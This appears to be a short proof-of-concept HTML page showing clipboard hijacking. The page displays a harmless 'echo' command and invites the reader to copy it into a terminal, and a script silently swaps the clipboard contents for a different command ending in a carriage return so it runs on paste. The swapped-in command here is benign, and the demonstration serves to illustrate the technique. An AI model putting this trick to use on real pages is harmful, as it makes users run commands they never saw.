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Copy the text below and run it in your terminal for totally not evil things to happen.
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<p>echo "not evil"</p>
<script>
document.addEventListener('copy', function(e){
console.log(e);
e.clipboardData.setData('text/plain', 'echo "evil"\r\n');
e.preventDefault(); // We want our data, not data from any selection, to be written to the clipboard
});
</script>
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